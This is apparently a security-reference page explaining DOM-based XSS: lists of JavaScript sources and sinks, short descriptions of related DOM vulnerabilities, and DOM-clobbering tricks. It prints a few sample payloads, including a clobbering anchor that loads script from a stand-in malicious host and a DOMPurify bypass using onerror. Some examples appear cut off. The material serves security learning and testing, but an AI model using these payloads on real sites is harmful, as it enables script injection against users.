DOM XSS
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Sources
A source is a JavaScript property that accepts data that is potentially attacker-controlled. An example of a source is the
location.searchproperty because it reads input from the query string, which is relatively simple for an attacker to control. Ultimately, any property that can be controlled by the attacker is a potential source. This includes the referring URL (exposed by thedocument.referrerstring), the user's cookies (exposed by thedocument.cookiestring), and web messages.Sinks
A sink is a potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it. For example, the
eval()function is a sink because it processes the argument that is passed to it as JavaScript. An example of an HTML sink isdocument.body.innerHTMLbecause it potentially allows an attacker to inject malicious HTML and execute arbitrary JavaScript.
Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session.
Common sources:
Common Sinks:
jQuery
location
eval()
scriptElement.src
add()
location.host
Function() constructor
scriptElement.text
after()
location.hostname
setTimeout()
scriptElement.textContent
append()
location.href
setInterval()
scriptElement.innerText
animate()
location.pathname
setImmediate()
someDOMElement.setAttribute()
insertAfter()
location.search
execCommand()
someDOMElement.search
insertBefore()
location.protocol
execScript()
someDOMElement.text
before()
location.assign()
msSetImmediate()
someDOMElement.textContent
html()
location.replace()
range.createContextualFragment()
someDOMElement.innerText
prepend()
open()
crypto.generateCRMFRequest()
someDOMElement.outerText
replaceAll()
domElem.srcdoc
someDOMElement.value
replaceWith()
XMLHttpRequest.open()
FileReader.readAsArrayBuffer()
someDOMElement.name
wrap()
XMLHttpRequest.send()
FileReader.readAsBinaryString()
someDOMElement.target
wrapInner()
jQuery.ajax()
FileReader.readAsDataURL()
someDOMElement.method
wrapAll()
$.ajax()
FileReader.readAsText()
someDOMElement.type
has()
FileReader.readAsFile()
someDOMElement.backgroundImage
constructor()
XMLHttpRequest.setRequestHeader()
FileReader.root.getFile()
someDOMElement.cssText
init()
XMLHttpRequest.open()
FileReader.root.getFile()
someDOMElement.codebase
index()
XMLHttpRequest.send()
someDOMElement.innerHTML
jQuery.parseHTML()
jQuery.globalEval()
someDOMElement.href
someDOMElement.outerHTML
$.parseHTML()
$.globalEval()
someDOMElement.src
someDOMElement.insertAdjacentHTML
someDOMElement.action
someDOMElement.onevent
JSON.parse()
sessionStorage.setItem()
document.write()
jQuery.parseJSON()
localStorage.setItem()
document.evaluate()
document.writeln()
$.parseJSON()
someDOMElement.evaluate()
document.title
requestFileSystem()
document.implementation.createHTMLDocument()
document.cookie
RegExp()
document.domain
history.pushState()
history.replaceState()
WebSocket
executeSql()
postMessage()
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The innerHTML sink doesn't accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.
This kind of XSS is probably the hardest to find, as you need to look inside the JS code, see if it's using any object whose value you control, and in that case, see if there is any way to abuse it to execute arbitrary JS.
DOM-based open-redirection vulnerabilities arise when a script writes attacker-controllable data into a sink that can trigger cross-domain navigation.
Remember that if you can start the URL were the victim is going to be redirected, you could execute arbitrary code like: javascript:alert(1)
DOM-based JavaScript-injection vulnerabilities arise when a script executes attacker-controllable data as JavaScript.
Document-domain manipulation vulnerabilities arise when a script uses attacker-controllable data to set the document.domain property.
The document.domain property is used by browsers in their enforcement of the same origin policy. If two pages from different origins explicitly set the same document.domain value, then those two pages can interact in unrestricted ways.
Browsers generally enforce some restrictions on the values that can be assigned to document.domain, and may prevent the use of completely different values than the actual origin of the page. But this doesn't occur always and they usually allow to use child or parent domains.
WebSocket-URL poisoning occurs when a script uses controllable data as the target URL of a WebSocket connection.
The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.
DOM-based link-manipulation vulnerabilities arise when a script writes attacker-controllable data to a navigation target within the current page, such as a clickable link or the submission URL of a form.
Ajax request manipulation vulnerabilities arise when a script writes attacker-controllable data into the an Ajax request that is issued using an XmlHttpRequest object.
Local file-path manipulation vulnerabilities arise when a script passes attacker-controllable data to a file-handling API as the filename parameter. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will cause the user's browser to open/write an arbitrary local file.
Client-side SQL-injection vulnerabilities arise when a script incorporates attacker-controllable data into a client-side SQL query in an unsafe way.
HTML5-storage manipulation vulnerabilities arise when a script stores attacker-controllable data in the HTML5 storage of the web browser (either localStorage or sessionStorage).
This behavior does not in itself constitute a security vulnerability. However, if the application later reads data back from storage and processes it in an unsafe way, an attacker may be able to leverage the storage mechanism to deliver other DOM-based attacks, such as cross-site scripting and JavaScript injection.
DOM-based XPath-injection vulnerabilities arise when a script incorporates attacker-controllable data into an XPath query.
DOM-based JSON-injection vulnerabilities arise when a script incorporates attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application.
The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.
DOM-data manipulation vulnerabilities arise when a script writes attacker-controllable data to a field within the DOM that is used within the visible UI or client-side logic. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will modify the appearance or behaviour of the client-side UI.
DOM-based denial-of-service vulnerabilities arise when a script passes attacker-controllable data in an unsafe way to a problematic platform API, such as an API whose invocation can cause the user's computer to consume excessive amounts of CPU or disk space. This may result in side effects if the browser restricts the functionality of the website, for example, by rejecting attempts to store data in localStorage or killing busy scripts.
A common pattern used by JavaScript developers is:
var someObject = window.someObject || {};
If you can control some of the HTML on the page, you can clobber the someObject reference with a DOM node, such as an anchor. Consider the following code:
To exploit this vulnerable code, you could inject the following HTML to clobber the someObject reference with an anchor element:
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
Injecting that data window.someObject.url is going to be href=//malicious-website.com/malicious.js
Trick: DOMPurify allows you to use the cid: protocol, which does not URL-encode double-quotes. This means you can inject an encoded double-quote that will be decoded at runtime. Therefore, injecting something like <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//"> will make the HTML encoded " to be decoded on runtime and escape from the attribute value to create the onerror event.
Another common technique consists on using form element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you create an inputinside the form with id=attributes , you will clobber the attributes property and the sanitizer won't be able to go through the real attributes.
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DOM-based cookie-manipulation vulnerabilities arise when a script writes attacker-controllable data into the value of a cookie. This could be abuse to make the page behaves on unexpected manner (if the cookie is used in the web) or to perform a attack (if the cookie is used to track the user's session).
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Web-message vulnerabilities arise when a script sends attacker-controllable data as a web message to another document within the browser. Example of vulnerable Web-message manipulation in
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